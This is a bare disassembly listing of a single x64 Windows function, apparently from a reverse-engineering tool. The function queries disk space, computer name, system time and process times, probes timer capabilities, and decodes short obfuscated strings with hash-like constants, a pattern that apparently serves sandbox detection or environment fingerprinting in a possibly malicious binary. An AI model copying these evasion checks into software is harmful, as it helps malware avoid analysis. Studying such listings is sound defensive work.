call fcn.1400184d4
lea rcx, [rbp + 0xa58]
call fcn.140005e28
lea r9, [rbp + 0x10b8]
lea r8, [rbp + 0x10c0]
lea rdx, [rbp + 0x10c8]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x14005e6b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140016a4f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], r15
mov r8d, 5
lea rdx, str.w0U0v
lea rcx, [rbp + 0x518]
call fcn.14000192c
nop
lea rdx, [rbp + 0x518]
cmp qword [rbp + 0x530], 0xf
cmova rdx, qword [rbp + 0x518]
mov r8, qword [rbp + 0x528]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x35412ecd
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x518]
call fcn.140005e28
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140016ae7
lock add dword [rcx + 8], r14d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call fcn.14001b308
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140016b3a
mov eax, esi
lock xadd dword [rcx + 8], eax
add eax, esi
jne 0x140016b3a
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
add eax, esi
jne 0x140016b3a
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
nop
test rdi, rdi
je 0x140016b66
mov eax, esi
lock xadd dword [rdi + 8], eax
add eax, esi
jne 0x140016b66
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, esi
lock xadd dword [rdi + 0xc], eax
add eax, esi
jne 0x140016b66
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
cmp r13d, dword [rbp + 0x384]
jb 0x140014899
mov rdi, qword [rbp + 0x388]
mov r13d, 0x400
mov esi, 8
mov edx, esi
lea rcx, [rbp + 0x10d0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016baa
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x468], r15
mov qword [rbp + 0x470], r15
mov r8d, 2
lea rdx, [0x14005e6d0]
lea rcx, [rbp + 0x458]
call fcn.14000192c
nop
lea rdx, [rbp + 0x458]
cmp qword [rbp + 0x470], 0xf
cmova rdx, qword [rbp + 0x458]
mov r8, qword [rbp + 0x468]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0xa868af2
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
mov rdx, qword [rbp + 0x470]
cmp rdx, 0xf
jbe 0x140016c5d
inc rdx
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016c58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017322
call fcn.140034bfc
lea rcx, [rbp + 0x1700]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ebx, 0x10
mov dword [rbp + 0x3fc], ebx
lea rdx, [rbp + 0x3fc]
lea rcx, [rbp + 0x1b30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x8770]
call fcn.140059690
xorps xmm0, xmm0
movups xmmword [rbp + 0xc38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc48], xmm1
mov r8, rsi
lea rdx, str.IaxSXRha
lea rcx, [rbp + 0xc38]
call fcn.14000192c
lea rdx, [rbp + 0xc38]
cmp qword [rbp + 0xc50], 0xf
cmova rdx, qword [rbp + 0xc38]
mov r8d, 0x39941a54
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xc38]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0xc58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc68], xmm1
lea r8d, [rbx - 0xb]
lea rdx, str.8xBdb
lea rcx, [rbp + 0xc58]
call fcn.14000192c
lea rdx, [rbp + 0xc58]
cmp qword [rbp + 0xc70], 0xf
cmova rdx, qword [rbp + 0xc58]
mov r8d, 0x34e1b239
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xc58]
call fcn.140005e28
lea rcx, [rbp + 0x1710]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rbp + 0x3f8], ebx
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x1720]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140016dde
lea rax, [rbp + 0x10d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x10e0]
lea r8, [rbp + 0x10e8]
lea rdx, [rbp + 0x10f0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x8b70]
call fcn.140059690
mov edx, esi
lea rcx, [rbp + 0x10f8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016e14
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140016e63
lea rax, [rbp + 0x1100]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1108]
lea r8, [rbp + 0x1110]
lea rdx, [rbp + 0x1118]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140016eb2
lea rax, [rbp + 0x1120]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1128]
lea r8, [rbp + 0x1130]
lea rdx, [rbp + 0x1138]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140016f01
lea rax, [rbp + 0x1140]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1148]
lea r8, [rbp + 0x1150]
lea rdx, [rbp + 0x1158]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, esi
lea rcx, [rbp + 0x1160]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140016f26
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov rcx, qword [r12]
call fcn.14000c820
cmp al, 0x24
jne 0x1400172d9
mov r8b, 2
lea rdx, [rbp + 0x328]
mov rcx, qword [r12]
call fcn.14000c57c
nop
lea rdx, [rbp + 0x388]
mov rcx, qword [rax]
call fcn.14000c874
nop
lea rcx, [rbp + 0x328]
call fcn.140001380
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov esi, 0x68
mov ecx, esi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140017049
mov r8d, esi
xor edx, edx
mov rcx, rax
call fcn.140059690
lea r8d, [rsi - 0x58]
lea rdx, [0x140078e60]
mov rcx, rbx
call fcn.140007bc0
jmp 0x14001704c
test rbx, rbx
je 0x140016fc1
mov rcx, rbx
call fcn.14000ecc4
nop
test rdi, rdi
je 0x1400172d9
mov rcx, rdi
call fcn.14000ecc4
jmp 0x1400172d9
test rbx, rbx
je 0x140017008
or eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140017008
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
or eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140017008
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
test rdi, rdi
je 0x1400172d9
or eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x1400172d9
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
or eax, 0xffffffff
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x1400172d9
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
jmp 0x1400172d9
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000d2d8
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov esi, 0x88
mov ecx, esi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140017096
mov r8d, esi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov dl, 0x21
mov rcx, rbx
call fcn.14000b560
jmp 0x140017099
mov rax, r15
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov rcx, rsi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400170e7
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov r9d, r14d
lea r8, [0x14005e214]
mov dl, r14b
mov rcx, rbx
call fcn.14000b67c
jmp 0x1400170ea
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov rcx, rsi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140017139
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov r9d, 4
lea r8, [rbp + 0x388]
mov dl, 2
mov rcx, rbx
call fcn.14000b67c
jmp 0x14001713c
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov rcx, rsi
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400171b0
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
mov rax, qword [rbp + 0x88]
test rax, rax
je 0x14001718e
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x120], xmm0
lea r8, [rbp + 0x120]
mov dl, 4
mov rcx, rbx
call fcn.14000b958
jmp 0x1400171b3
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14000d340
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov rax, qword [rbp + 0x78]
test rax, rax
je 0x1400171d9
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x130]
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
mov rax, qword [rbp + 0x68]
test rax, rax
je 0x140017217
lock add dword [rax + 8], r14d
mov rbx, qword [rsp + 0x70]
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x150], xmm0
mov rax, qword [rbp + 0x58]
test rax, rax
je 0x140017250
lock add dword [rax + 8], r14d
mov rbx, qword [rsp + 0x70]
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x180], xmm0
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x140017285
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
mov rcx, qword [rdi + 8]
call fcn.14002d078
nop
lea rcx, [rbp + 0x50]
call fcn.140001380
nop
lea rcx, [rbp + 0x60]
call fcn.140001380
nop
lea rcx, [rbp + 0x70]
call fcn.140001380
nop
lea rcx, [rsp + 0x70]
call fcn.140001380
nop
lea rcx, [rbp + 0x80]
call fcn.140001380
nop
mov rcx, r12
call fcn.140001380
mov rcx, qword [rbp + 0x8f70]
xor rcx, rsp
call fcn.140034ca0
lea r11, [rsp + 0x9090]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14003be04
nop
call fcn.14003be04
int3
call fcn.14003be04
int3
call fcn.14003be04
int3
call fcn.14003be04
int3
call fcn.14003be04
int3
call fcn.14003be04
nop
call fcn.14003be04
int3
call fcn.14003be04
int3
call fcn.14003be04
int3